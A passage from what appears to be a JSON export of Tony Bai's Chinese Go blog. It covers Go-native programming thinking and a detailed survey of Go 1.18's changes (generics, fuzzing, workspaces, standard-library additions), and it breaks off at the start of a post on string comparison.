通过上述这个现实中的问题我们可以看到：面对同一个问题，来自不同编程语言的程序员给出了思维方式截然不同的解决方法：C的命令式思维、Haskell的函数式思维和Go的并发思维。结合“萨丕尔—沃夫假说”，我们可以得到一个未经理论证实但又确实对现实有影响的推论：编程语言影响编程思维，或者说每种编程语言都有属于自己的原生编程思维。\nGo语言诞生较晚，大多数Gopher（包括笔者在内）第一语言都不是Go，都是“半路出家”从其他语言转过来的，如C、C++、Java、Python等。每种语言都有自己的原生编程思维。比如：C语言相信程序员，提供了指针和指针运算，让C程序员天马行空的发挥，接近底层的直接内存操作让C程序拥有很高的性能；C++支持多范式（命令式、OO和泛型），虽不强迫程序员使用某个特定的范式，但推荐使用最新代表现代语言发展特色的泛型等高级范式；Python语言更是形成了Pythonic规则来指导Python程序员写出符合Python思维或惯用法的代码。\n经验告诉我们但凡属于某个编程语言的高质量范畴的代码，其必定是在这种编程语言原生思维下编写的代码。如果用A语言的思维去编写B语言的代码（比如用OO思维写C代码，用命令式的思维写Haskell代码等），那么你写出的代码多半无法被B语言社区所认可，更难以成为高质量代码的典范。并且，如果沿着这样的方向去学习和实践B语言，那么结果只能是“南辕北辙”，离编写出高质量代码的目标渐行渐远。\n那Go原生编程思维究竟是什么呢？一门编程语言的编程思维是由语言设计者、语言实现团队、语言社区、语言使用者在长期的演化和实践中形成的一种统一的思维习惯、行为方式、代码惯用法和风格。Go语言从诞生到现在也近十年多了。经过Go设计哲学熏陶、Go开发团队的引导和教育、Go社区的实践，Go语言也渐渐形成了属于自己的原生编程思维，或者说形成了符合Go语言哲学的Go语言惯用法（idiomatic go）。它们是Go语言的精华，也是构建本书内容的骨架，并值得我们用一本书的规模去详细呈现。因此可以说阅读本书的过程也是学习和建立Go语言原生编程思维的过程。\n4. 小结 本文详细介绍了编程语言与编程思维之间的联系。我们学习和使用一门编程语言，目标就是要用这门语言的原生思维方式去编写高质量代码。学习Go，就要用Go的原生编程思维去写Go代码，而不是用其他语言的思维方式。掌握Go原生编程思维就是我们通往高质量Go编程的学习方向和必经之路。如果您想要了解更多有关Go编程思维的内容，推荐您详细阅读我的新作《Go语言精进之路：从新手到高手的编程思想、方法与技巧》。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/04/23/taking-a-closer-look-at-programming-thinking-in-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/taking-a-closer-look-at-programming-thinking-in-go-1.jpeg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/04/23/taking-a-closer-look-at-programming-thinking-in-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/04/23/taking-a-closer-look-at-programming-thinking-in-go\"\u003ehttps://tonybai.com/2022/04/23/taking-a-closer-look-at-programming-thinking-in-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e经过十几年的演化和发展，Go语言在全世界范围内已经拥有了百万级别的拥趸，在这些开发者当中，除了一部分新入行的编程语言初学者之外，更多的是从其他编程语言阵营转过来的开发者。由于Go语言上手容易，在转Go的初期大家很快就掌握了Go的语法。\u003c/p\u003e","title":"世界读书日：带你走近Go语言编程思维"},{"content":"\n本文永久链接 – https://tonybai.com/2022/04/20/some-changes-in-go-1-18\n从3月23日开始，我居家办公了20+天。这期间我本来是应该有时间写下这篇综述类文章的，但是封了两天后，抢菜、带娃的事情就开始困扰着我。我实在没有下笔写下这篇文章的心思。4月13日终于解封了，上班后的气象就是不一样，人也精神了很多，于是这篇文章也被提上了日程。希望新冠疫情早日结束吧，希望每个人都能在晴朗的户外享受那春日的暖意。\n2022年3月15日，Go团队在官方博客上官宣了Go 1.18正式版的发布。Go 1.18这个网红版本终于落地了。泛型的加入让Go 1.18成为继Go 1.0(首个正式版)、Go 1.5(实现自举、去C代码、新版GC)、Go 1.11(引入Go module)版本之后的又一里程碑版本。\n泛型是Go语言开源以来最大的语法特性变化，其改动和影响都很大，Go核心团队尽管很努力了，但Go 1.18正式版本的发布时间还是延迟了一个月。不过好消息是加入泛型语法的Go 1.18继续保持了Go1兼容性，这本身就是Go团队的胜利，同样也是Go社区的幸运。\n相较于之前的版本，Go 1.18版本改动很大，bug略多。好在发布一个月后，各种喧嚣都归于安静。笔者写稿时，Go 1.18.1已经发布，修正了许多问题，当然也包括一些与Go泛型有关的问题。\n下面我们就来看看Go 1.18版本中值得关注的变化，我这里使用的版本为Go 1.18.1。\n我们就先从泛型说起。\n一. Go语法变化 1. 泛型：史上最复杂Go语法特性 以往Go发布大版本，Go语法变化一栏的内容总是寥寥无几，甚至是因没有变化而一笔带过。\n更有甚者，从Go1.0到Go 1.17的语法变化屈指可数：\nGo 1.1版本：增加“method value”语法； Go 1.2版本：增加Full slice expression：a[low: high: max]； Go 1.4版本：新增for range x {…}形式的for-range语法； Go 1.5版本：支持省略map类型字面量（literal）中的key的类型； Go 1.9版本：新增了type alias语法； Go 1.13版本：增加以0b或0B开头的二进制数字字面量、以“0o”或“0O”开头的八进制数字字面量、以0x或0X开头是的十六进制形式的浮点数字面量以及支持在数字字面量中通过数字分隔符“_”提高可读性； Go 1.17版本：支持从切片到数组指针的转换。 我们看到，十年来，Go在纯语法层面的变化只有上面这么几个。而Go 1.18引入的泛型的复杂性足以超过上述版本的语法变化之和。面对新增加的泛型特性，即便是有着多年Go编程经验的Gopher，也会有一种**“二次学艺”的感觉。这是因为Go泛型是Go诞生以来最复杂、最难读和理解的语法特性**，当然泛型的复杂性不仅仅对Go语言生效，对其他具有泛型语法特性的编程语言来说，泛型也都是最复杂的语法。有志者可以去挑战一下C++的泛型：template。还有那本尤为烧脑的Andrei Alexandrescu 的《C++设计新思维: 泛型编程与设计模式之应用》，英文书名是《Modern C++ Design: Generic Programming and Design Patterns Applied》。\n同样也是因为泛型的复杂性，Go团队在Go 1.18的发布说明文档中保留了在将来的版本中因修复Go泛型bug而对Go 1.18版本编译的程序带来破坏的权力。当然Go团队也承诺将尽可能地减少任何此类破坏，但不能保证此类破坏为零。\n另外，Go 1.18的泛型实现并非完全版，有很多使用上的约束。这些约束很大可能将在后续的Go版本中逐步取消掉。并且Go 1.18中的实现与Type Parameter Proposal的design文档有一定差异，Go官方建议以Go语言的规范为准。\n2. 泛型的主要语法点 前面也说了，Go泛型是Go开源以来在语法层面最大的一次变动，Go泛型的最后一版技术提案长达数十页，我们要是把其中的细节都展开细讲，那都可以自成一本小册子了。在这篇综述类文章中，我仅对Go泛型的主要语法点做简要说明。在日后文章中，我们再深入到泛型的语法细节，做逐一细致剖析。\n关于Go泛型的主要语法点，其实在Go官博的“Go泛型介绍”中都有提及：\n泛型在Go语言中增加了三个新的重要内容：\n函数和类型新增对**类型形参(type parameters)**的支持。 将接口类型定义为类型集合，包括没有方法的接口类型。 支持类型推导，大多数情况下，调用泛型函数时可省略类型实参(type arguments)。 下面我们分别来看看。\n类型形参(type parameter) 类型形参是在函数声明、方法声明的receiver部分或类型定义的类型参数列表中，声明的（非限定）类型名称。类型参数在声明中充当了一个未知类型的占位符（placeholder），在泛型函数或泛型类型实例化时，类型形参会被一个类型实参(type argument)替换。\n为了让你更好地理解类型参数究竟如何声明，它又起到了什么作用，我们以函数为例，对普通函数的参数与泛型函数的类型参数作一下对比：\n我们知道，普通函数的参数列表是这样的：\nfunc Foo(x, y aType, z anotherType) 这里，x, y, z是形参（parameter）的名字，也就是变量，而aType，anotherType是形参的类型，也就是类型。\n我们再来看一下泛型函数的类型参数（type parameter）列表：\nfunc GenericFoo[P aConstraint, Q anotherConstraint](x,y P, z Q) 这里，P，Q是类型形参的名字，也就是类型，aConstraint，anotherConstraint代表类型参数的约束（constraint），我们可以理解为对类型参数可选值的一种限定。\n在类型参数列表中修饰类型参数的就是约束（constraint）。那什么是约束呢？我们继续往下看。\n约束（constraint） 约束（constraint）规定了一个类型实参（type argument）必须满足的条件要求。如果某个类型满足了某个约束规定的所有条件要求，那么它就是这个约束修饰的类型形参的一个合法的类型实参。\n在Go泛型中，我们使用interface类型来定义约束。为此，Go接口类型的定义也进行了扩展，我们既可以声明接口的方法集合，也可以声明可用作类型实参的类型列表。\n下面是一个约束定义与使用的示例：\ntype C1 interface { ~int | ~int32 M1() } type T struct{} func (T) M1() { } type T1 int func (T1) M1() { } func foo[P C1](t P)() { } func main() { var t1 T1 foo(t1) var t T foo(t) // 编译器报错：T does not implement C1 } 在这段代码中，C1是我们定义的约束，它声明了一个方法M1，以及两个可用作类型实参的类型(~int | ~int32)。我们看到，类型列表中的多个类型实参类型用“|”分隔。\n在这段代码中，我们还定义了两个自定义类型T和T1，两个类型都实现了M1方法，但T类型的底层类型为struct{}，而T1类型的底层类型为int，这样就导致了虽然T类型满足了约束C1的方法集合，但类型T因为底层类型并不是int或int32而不满足约束C1，这也就会导致foo(t)调用在编译阶段报错。不过，我这里还要建议你：做约束的接口类型与做传统接口的接口类型最好要分开定义，除非约束类型真的既需要方法集合，也需要类型列表。\n为了让大家更好理解这种对接口类型的扩展，Go引入了类型集合(type set)来解释这一切。“Go泛型介绍”中有对type set的图解，这里就不赘述了，大家可以点击链接移步阅读。\n类型具化(instantiation)与类型推导(type inference) 像上面例子中main函数对foo(t1)的调用就利用到了类型具化和类型推导两个特性。\nfoo是一个泛型函数，它的函数声明中带有一个由C1约束的类型形参P，而用类型实参T1初始化P的过程就是类型具化。不过大家也注意到了，我们没有使用：foo[T1](t1)，而是省略了显式对P进行初始化，直接使用了foo(t1)，这就是Go类型推导带来的便利。Go编译器会根据传入的实参的类型，进行类型实参(type argument)的自动推导。自动类型推导使得人们在编写调用泛型函数的代码时可以使用一种更为自然的风格。\n泛型类型(generic type) 除了函数可以携带类型参数变身为“泛型函数”外，类型也可以拥有类型形参而化身为“泛型类型”，比如下面代码就定义了一个向量泛型类型：\ntype Vector[T any] []T 这是一个带有类型参数的类型定义，类型参数位于类型名的后面，同样用方括号括起。在类型定义体中可以引用类型参数列表中的参数名（比如T）。类型参数同样拥有自己的约束，如上面代码中的any。\n在Go 1.18中，any是interface{}的别名，也是一个预定义标识符，使用any作为类型参数的约束，代表没有任何约束。关于如何使用any以及使用any的注意事项，请移步到我之前的文章《切换到Go 1.18后的第一件事：将interface{}全部替换为any》。\n下面是另一个泛型类型的定义：\ntype Tree[T interface{}] struct { left, right *Tree[T] value T } func (t *Tree[T]) Lookup(x T) *Tree[T] { ... } var stringTree Tree[string] 在上面这个例子中，泛型类型Tree存储了类型参数T的值。泛型类型也可以有方法，比如本例中的Lookup。为了使用一个泛型类型，它必须被实例化，比如：Tree[string]是一个用类型实参string来实例化Tree的例子。\n当前泛型实现的不足 泛型对Go项目的影响是方方面面的，在一个版本迭代周期内将泛型的全部特性都实现的确难了一些。因此，Go 1.18当前的Go泛型实现尚不完整，尚有限制，根据Go 1.18的发布说明文档，限制包括下面几点：\nGo编译器不能处理泛型函数或方法中的类型声明，Go团队希望在未来的版本中提供对该功能的支持。\nfunc GenericsFoo[T any](s T) T { type bar int // type declarations inside generic functions are not currently supported var a bar println(a) return s }\nGo编译器不支持预定义的函数real、imag和complex处理泛型类型实参。Go团队希望在未来的版本中取消这一限制。\npackage main\nimport ( \u0026ldquo;golang.org/x/exp/constraints\u0026rdquo; )\nfunc GenericsFoo[T constraints.Complex](s T) T { n := real(s) // s (variable of type T constrained by constraints.Complex) not supported as argument to real for go1.18 (see issue #50937 println(n)\ni := complex(s, s) // invalid argument: arguments have type T, expected floating-point _ = i return s }\nfunc main() { var i = complex(1.0, 2.0) // 1+2i GenericsFoo(i) }\nGo编译器只支持在参数类型为P的值x上调用方法m，前提是：m必须是由P的约束接口显式声明的。同样地，method valuex.m和method expression P.m也只有在P明确声明了m的情况下才会被支持。即使P类型集合中的所有类型都实现了m，但如果没有显示声明m，那么也不支持在x上调用m。Go团队希望在未来的版本中删除这一限制。\npackage main\ntype C interface { T | T1 // T和T1都实现了M1方法 }\nfunc GenericsFoo[P C](p P) { p.M1() // p.M1 undefined (type P has no field or method M1) }\ntype T struct{}\nfunc (T) M1() {}\ntype T1 struct{}\nfunc (T1) M1() {}\nfunc main() { GenericsFoo(T{}) }\nGo编译器目前不支持访问一个结构字段x.f，其中x是类型参数类型，即使类型参数的类型集合中的所有类型都有一个字段f。Go团队可能会在未来的版本中取消这一限制。\npackage main\ntype C interface { T | T1 // T和T1的类型定义中都包含名为Name的字段 }\nfunc GenericsFoo[P C](p P) { _ = p.Name // p.Name undefined (type P has no field or method Name) }\ntype T struct { Name string }\ntype T1 struct { Name string }\nfunc main() { GenericsFoo(T{}) }\n目前Go编译器不允许将类型参数或指向类型参数的指针作为结构体类型嵌入字段(未命名字段)。同样，也不允许在一个接口类型中嵌入一个类型参数。目前Go团队还不确定这些限制在未来版本是否会被放开。\npackage main\ntype F[T any, P any] struct { Name string *T //embedded field type cannot be a (pointer to a) type parameter P // embedded field type cannot be a (pointer to a) type parameter }\ntype MyInterface interface{}\ntype GenericsInterface[I MyInterface] interface { M1() I // cannot embed a type parameter }\nfunc main() { var f F[string, string] _ = f }\nGo编译器不支持在包含1个以上类型元素的union类型定义中包含一个具有非空方法集的接口类型。这是否会在未来版本中被允许，Go团队目前还不确定。\npackage main\ntype MyInterface interface { M1() }\ntype GenericsInterface interface { ~int | MyInterface | float64 // cannot use main.MyInterface in union (main.MyInterface contains methods) }\nfunc main() { }\n另外一个大家广为关注的是，普通类型的方法声明中不支持类型参数：\npackage main type F struct{} func (F) M1[T any](t T){} // syntax error: method must have no type parameters func main() { var f F[string] f.M1(\u0026quot;hello\u0026quot;) } 不过这不是实现层面的限制，而是Go泛型技术草案就是这么定的。至于后续是否能支持在方法中使用类型参数还不确定。不过上述问题可以通过带有类型参数的泛型类型来“缓解”。\n泛型类型可以有自己的方法，在泛型类型的方法声明中receiver中使用与类型声明相同的类型参数，这个类型参数也可以在方法的普通参数列表中使用，如下面例子：\npackage main type F[T any] struct{} func (F[T]) M1(t T) {} // ok func main() { var f F[string] f.M1(\u0026quot;hello\u0026quot;) } 官方维护的泛型包 Go 1.18可以说仅提供了一个Go泛型的最小版本，除了语法，外加两个预定义类型：comparable和any。原本想在标准库中加入的constraints、slices和maps泛型包，因Go老父亲Rob Pike的一条comment而被暂时搁置了。Rob Pike的理由很简单，Go泛型是Go诞生以来最大的一次语言变化，Go 1.18版本承载了太多的change，容易出错。并且Go核心开发团队也没有使用新泛型的经验，他建议Go核心开发团队应该多等待、观察和学习，不要把步子迈得太大，Go应该按照自己的节奏稳步前进。\n于是前面提到的三个包被放在了golang.org/x/exp下面了：\ngolang.org/x/exp/constraints golang.org/x/exp/slices golang.org/x/exp/maps 待时机成熟，这些包会像当年http2包一样进入到Go标准库中。\nGo工具链对泛型语法的支持情况 Go泛型出炉后，Go官方维护的Go工具链上的工具都基本确定了支持泛型语法的计划。到Go 1.18发布时，gofmt/goimports、go vet、gopls(从v0.8.1版本开始支持)都实现了对泛型的支持。\n不过这里除了gofmt是与Go安装包一起发布的，其他工具都需要自己安装和升级到最新版本。否则一旦使用到泛型语法或新增的像any、comparable等预定义标识符，你的编辑器就会给出各种错误提示。\n如果你和我一样使用vim+vim-go+goimports+gopls，那么要想编辑器支持go 1.18，可使用下面命令升级工具版本来支持go 1.18的泛型：\n$go install golang.org/x/tools/cmd/goimports@latest $go install golang.org/x/tools/gopls@latest 当然Go社区还有很多工具尚未及时赶上步伐，这个要给Go社区一定的时间。\n关于Go泛型语法的细节以及实现原理，我会逐渐在后续文章中进行专门讲解。\n讲完泛型这个大部头儿后，接下来，我们再来看看Go编译器与Go module的变化。\n二. Go编译器与Go module变化 1. 修正的语法bug 我们知道在Go函数内声明变量后，如果未使用，Go编译器会报错。但Go 1.18版本之前，Go编译器对于下面例子中的变量p是不会报错的，即便在main中没有使用。\nGo 1.18修正了这个问题，如果用Go 1.18编译该例子，会出现注释中的编译器错误。\npackage main func main() { p := true // go 1.18会报错：p declared but not used，但Go 1.18之前的版本不会。 func() { p = true }() } 同时，gopls和go vet也都会针对上述问题给出错误提示。\n2. 在AMD64平台上引入architectural level 众所周知，Go语言在目标代码的优化上还有很大的提升空间。在Go 1.18版本中，Go引入一个算是优化的措施，即在AMD64平台上引入architectural level的概念。level越高，可用指令越新，编译出的使用新指令的代码的性能可能有一定提升。\nGo 1.18通过GOAMD64这个环境变量来指示编译器采用的level，默认使用v1版本。这个版本在生产的代码中使用了所有x86-64 cpu都支持的指令。说白了，就是使用最基本的指令，兼容性好，但性能也是最差的。\nGOAMD64环境变量的另外三个候选值为v2、v3、v4。版本越高，兼容性越差，但性能可能因使用新指令而得到提升。\nGOAMD64=v2: 所有v1版指令, 外加CMPXCHG16B, LAHF, SAHF, POPCNT, SSE3, SSE4.1, SSE4.2, SSSE3； GOAMD64=v3: 所有v2版指令, 外加AVX, AVX2, BMI1, BMI2, F16C, FMA, LZCNT, MOVBE, OSXSAVE； GOAMD64=v4: 所有v3版指令, 外加AVX512F, AVX512BW, AVX512CD, AVX512DQ, AVX512VL。 在优化的道路，Go团队一直在努力，这不Go编译器现在还可以inline带有range循环或带有label的循环语句的函数了。\n3. 丰富了SBOM信息 这些年来，关于软件供应链的安全问题频发，软件供应链已然成为IT安全领域的一个热点。Go作为云原生平台、中间件以及服务的头部开发语言，其自身安全性以及构建出的软件的安全性就变得至关重要了。Go在安全方面的投入也是逐渐增大，手段也在逐渐增多与丰富。SBOM(软件物料清单)作为缓解软件供应链攻击的重要防护手段，Go在1.13版本就提供了相关支持，在Go 1.18版本中，Go更是丰富了提供的SBOM信息，这方面的详情可参见之前的文章：《聊聊Go语言的软件供应链安全》。\n4. Go泛型给compiler带来的负面影响 Go泛型的引入增加了Go语言的表达力，但也对Go编译器带来了不小的负面影响，其中最大的影响就是编译速度。从Go 1.18发布说明文档来看，Go 1.18的编译速度要比Go 1.17版本下降15%，并且即便你在代码中完全没有使用泛型语法，这个性能下降也是有的。所以这也是Go团队在Go 1.19中要重点解决的问题。\n5. go module变化 从Go 1.16版本开始，Go module已进入成熟期。不过依然有一些小问题需要修复，其中一个就是go.mod和go.sum究竟哪个命令有权修改。Go 1.18明确了能修改go.mod, go.sum的命令只有三个：go get, go mod tidy和go mod download。这样开发人员就可以放心的在项目根目录下执行go工具链提供的其他命令了。\n6. 引入Go workspace(工作区) Go module的引入大大改善了Go包依赖与构建问题。但目前Go module在软件协作开发过程中仍存在导致体验差的两个问题，并且这两个问题在原有go module机制下面很难得到根本解决。这两个问题是：\n对依赖包进行自行修改，并基于本地修改后的依赖包进行构建； 依赖本地尚未发布的module。 原有的go module replace机制在协作的情况下，体验较差，给开发人员带去一定额外的心智负担。于是Go开发者Michael Matloob在2021年4月提出的一个名为“Multi-Module Workspaces in cmd/go”的proposal。这个proposal引入一个go.work文件用于开启Go工作区模式。go.work通过use指示符设置一些本地路径，这些路径下的go module构成一个工作区(workspace)，Go命令可以操作这些路径下的go module，也会优先使用工作区中的go module。同时，go.work是本地环境相关的，无需提交到代码仓库中，每个开发者可以根据自己的开发环境设置拥有仅属于自己的go.work文件。\n关于Go工作区机制，我在《Go 1.18新特性前瞻：Go工作区模式》一文中有详细介绍，大家可以移步到那篇文章认真阅读。不过那篇文章是在Go 1.18 beta1版发布之前写的，当时的一些go.work的内容，比如像directory指示符在Go 1.18正式版中已经发生了变化，这个大家要注意一下。\n看完编译器，我们再来简单说说其他工具链。\n三. Go工具链变化 1. go fuzzing Go工具链侧最大的变化莫过于引入对fuzzing的原生支持。Fuzzing，又叫fuzz testing，中文叫做模糊测试或随机测试。其本质上是一种自动化测试技术，更具体一点，它是一种基于随机输入的自动化测试技术，常被用于发现处理用户输入的代码中存在的bug和问题。\n在具体实现上，Fuzzing不需要像单元测试那样使用预先定义好的数据集作为程序输入，而是会通过数据构造引擎自行构造或基于开发人员提供的初始数据构造一些随机数据，并作为输入提供给我们的程序，然后监测程序是否出现panic、断言失败、无限循环等。这些构造出来的随机数据被称为语料(corpus)。另外Fuzz testing不是一次性执行的测试，如果不限制执行次数和执行时间，Fuzz testing会一直执行下去，因此它也是一种持续测试的技术。\nGo 1.18将fuzz testing纳入了go test工具链，与单元测试、性能基准测试(https://www.imooc.com/read/87/article/2439)等一起成为了Go原生测试工具链中的重要成员。\ngo fuzzing test的测试用例与普通的测试用例(TestXxx)、性能基准测试(BenchmarkXxx)等一样放在xx_test.go中，只不过用例对应的函数名样式换为了FuzzXxx了。一个简单的Fuzzing test用例如下：\nfunc FuzzXxx(f *testing.F) { // 设置种子语料(可选) // 执行Fuzzing f.Fuzz(func(t *testing.T, b []byte) { //... ... }) } 关于Go Fuzzing test，我在《Go 1.18新特性前瞻：原生支持Fuzzing测试》 有十分全面系统的说明，大家可以移步到那篇文章阅读了解。\n这里需要大家额外注意的是，Fuzzing测试虽然写法上与单元测试、benchmark test很像，也很简单，但Fuzzing测试是持续运行的，不会停下来的，因此就像Go 1.18版本说明中提示的那样：Fuzzing测试会消耗大量的内存，在运行时可能会影响你的机器性能。还要注意的是，在运行时，模糊引擎会将扩大测试范围的数值写入\\$GOCACHE/fuzz内的模糊缓存目录。目前对写入模糊缓存的文件数量或总字节数没有限制，所以它可能会占用大量的存储空间（可能是几个GB甚至更多）。因此建议找一台专门的高配机器来跑fuzzing test。\n2. go get 在Go module构建模式下，go get回归本职工作，专注于获取go module以及对应的依赖module。不再执行编译和安装工作。这样一来，原本被go get剥夺了光环的go install在module-aware模式下重新拿回本属于自己的职能：安装指定版本或latest版本的module和可执行文件。\n最后，我们再来看看其他的一些小变化。\n四. 其他的minor变化 1. gofmt支持并发 “gofmt的代码风格不是某个人的最爱，而是所有人的最爱”。gofmt代码风格已经成为Go开发者的一种共识，融入到Go语言的开发文化当中了。Go 1.18为Go开发人员带来了支持并发的gofmt，毫无疑问，其最大的好处就是快，尤其是在多核cpu上，gofmt可以利用更多的算力快速完成代码风格的格式化。\n2. 内置函数append对切片的扩容算法发生变化 我们都知道append操作切片时，一旦切片已满(len==cap)，append就会重新分配一块更大的底层数组，然后将当前切片元素copy到新底层数组中。通常在size较小的情况下，append都会按2倍cap扩容，size大的情况，比如已经是1024了，那么Go 1.17不会double分配。Go 1.18中的算法有一定变化，目的是使得在一个门槛值前后的变化更丝滑。具体算法大家看下面\\$GOROOT/src/runtime/slice.go中的growslice函数中的部分逻辑：\nfunc growslice(et *_type, old slice, cap int) slice { ... ... newcap := old.cap doublecap := newcap + newcap if cap \u0026gt; doublecap { newcap = cap } else { const threshold = 256 if old.cap \u0026lt; threshold { newcap = doublecap } else { // Check 0 \u0026lt; newcap to detect overflow // and prevent an infinite loop. for 0 \u0026lt; newcap \u0026amp;\u0026amp; newcap \u0026lt; cap { // Transition from growing 2x for small slices // to growing 1.25x for large slices. This formula // gives a smooth-ish transition between the two. newcap += (newcap + 3*threshold) / 4 } // Set newcap to the requested cap when // the newcap calculation overflowed. if newcap \u0026lt;= 0 { newcap = cap } } } ... ... } 另外从代码来看，和Go 1.17以1024作为大小分界不同，Go 1.18使用256作为threshold。这个大家要注意。\n3. 新增net/netip包 Go 1.18标准库在net下面新增加了netip包。这源于原Go核心开发者Brad Fitzpatrick在其创业项目tailscale中遇到的问题。Brad发现标准库中现有的表示IP相关信息的net.IP有如下这么多不足：\n于是Brad提议新增一个占用较少的内存、不可变的并且是可比较的、可作为map key的IP的新表示，这就是netip.Addr以及围绕netip.Addr的一系列类型与方法。\n关于netip包的内容还不少，大家可以查看netip包的ref来详细了解这个包。\n4. 两个重要的安全变化 安全问题日益严重，Go标准库也在紧跟安全趋势的步伐。\n在Go 1.18中，tls client默认将使用TLS 1.2版本。当然如果你要显式将Config.MinVersion设置为VersionTLS10，TLS 1.0和1.1依然可以使用。\n此外，Go 1.18中crypto/x509包默认将拒绝使用SHA-1哈希函数签名的证书(自签发的除外)。通过GODEBUG=x509sha1=1可以临时支持SHA-1，但从Go 1.19版本开始，SHA-1将被永久踢出。\n5. strings包和bytes包新增Cut函数 strings包和bytes包都增加了实用函数Cut(注：strings和bytes包保持API一致性的传统由来已久)。以字符串为例，Cut函数的语义就是将一个输入字符串中的某一段字符串“切掉”。Cut函数的原型如下：\nfunc Cut(s, sep string) (before, after string, found bool) 如果没找到要切掉的部分，则最后的返回值为false，before为原字符串s，而after则为”\u0026quot;。\nvar s = \u0026quot;hello, golang\u0026quot; b, a, f := strings.Cut(s, \u0026quot;java\u0026quot;) fmt.Printf(\u0026quot;before=%s, after=%s, found=%t\\n\u0026quot;, b, a, f) // before=hello, golang, after=, found=false 如果找到了要切掉的部分，则最后的返回值为true，before为“被切掉部分”的前面的字符串，after则为“被切掉部分”的后面的字符串。\nb, a, f = strings.Cut(s, \u0026quot;lang\u0026quot;) fmt.Printf(\u0026quot;before=%s, after=%s, found=%t\\n\u0026quot;, b, a, f) // before=hello, go, after=, found=true 如果输入字符串中有多个与要切掉的部分匹配的字串，Cut函数只会切掉第一个匹配的字串。\nb, a, f = strings.Cut(s, \u0026quot;o\u0026quot;) fmt.Printf(\u0026quot;before=%s, after=%s, found=%t\\n\u0026quot;, b, a, f) // before=hell, after=, golang, found=true 6. runtime/pprof精确性提升 Go 1.18 runtime/pprof在Linux上采用每线程定时器来驱动采样，目的就是提升在高负荷下采样数据的精确性，减少数据丢失或不准的情况。\n7. sync包新增Mutex.TryLock, RWMutex.TryLock和RWMutex.TryRLock Go团队在社区的强烈要求下，还是在sync包中加上了Mutex.TryLock, RWMutex.TryLock和RWMutex.TryRLock。但说实话，我个人尚未遇到非要使用TryLock的场景。Go团队在TryLock方法的注释中也给出了使用提示：请注意，虽然TryLock的正确使用确实存在，但它们是罕见的，而且使用TryLock的使用往往是mutex在特定使用中更深层次问题的标志。\n尽量不要用就完了！\n五. 小结 从上面内容来看，Go 1.18还真是一个大改动的版本。很多变化都值得后续细致学习和探索。Go 1.18由于引入泛型，我个人还是建议暂缓将其用于生产环境。就像go module引入后，经历go 1.11~go 1.16才逐渐成熟，Go泛型的成熟想必也要至少2-3个版本。在这个阶段，先把精力放在对泛型的学习上以及如何利用泛型改善我们的代码上，但也要注意：泛型大幅提高了代码的复杂性，使用泛型的代码在可读性方面必然有下降，大家不要滥用泛型，更不要显然像c++ template使用的那种奇技淫巧中去。那就与Go语言的设计哲学背道而驰了。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/04/20/some-changes-in-go-1-18/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/some-changes-in-go-1-18-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/04/20/some-changes-in-go-1-18\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/04/20/some-changes-in-go-1-18\"\u003ehttps://tonybai.com/2022/04/20/some-changes-in-go-1-18\u003c/a\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e从3月23日开始，我居家办公了20+天。这期间我本来是应该有时间写下这篇综述类文章的，但是封了两天后，抢菜、带娃的事情就开始困扰着我。我实在没有下笔写下这篇文章的心思。4月13日终于解封了，上班后的气象就是不一样，人也精神了很多，于是这篇文章也被提上了日程。希望新冠疫情早日结束吧，希望每个人都能在晴朗的户外享受那春日的暖意。\u003c/p\u003e","title":"Go 1.18中值得关注的几个变化"},{"content":"\n本文永久链接 – https://tonybai.com/2022/04/18/inside-go-string-comparison\n西娅(Thea)是一个刚刚入门Go语言的妹子程序员，今天她遇到了一个让她“surprise”的问题。下面就是那段让妹子西娅困惑的Go代码：\nfunc main() { s1 := \u0026quot;12345\u0026quot; s2 := \u0026quot;2\u0026quot; fmt.Println(`\u0026quot;12345\u0026quot; \u0026gt; \u0026quot;2\u0026quot;:`, s1 \u0026gt; s2) // false s3 := \u0026quot;零\u0026quot; s4 := \u0026quot;一\u0026quot; s5 := \u0026quot;二\u0026quot; fmt.Println(`\u0026quot;一\u0026quot; \u0026gt; \u0026quot;零\u0026quot;:`, s4 \u0026gt; s3) // false fmt.Println(`\u0026quot;二\u0026quot; \u0026gt; 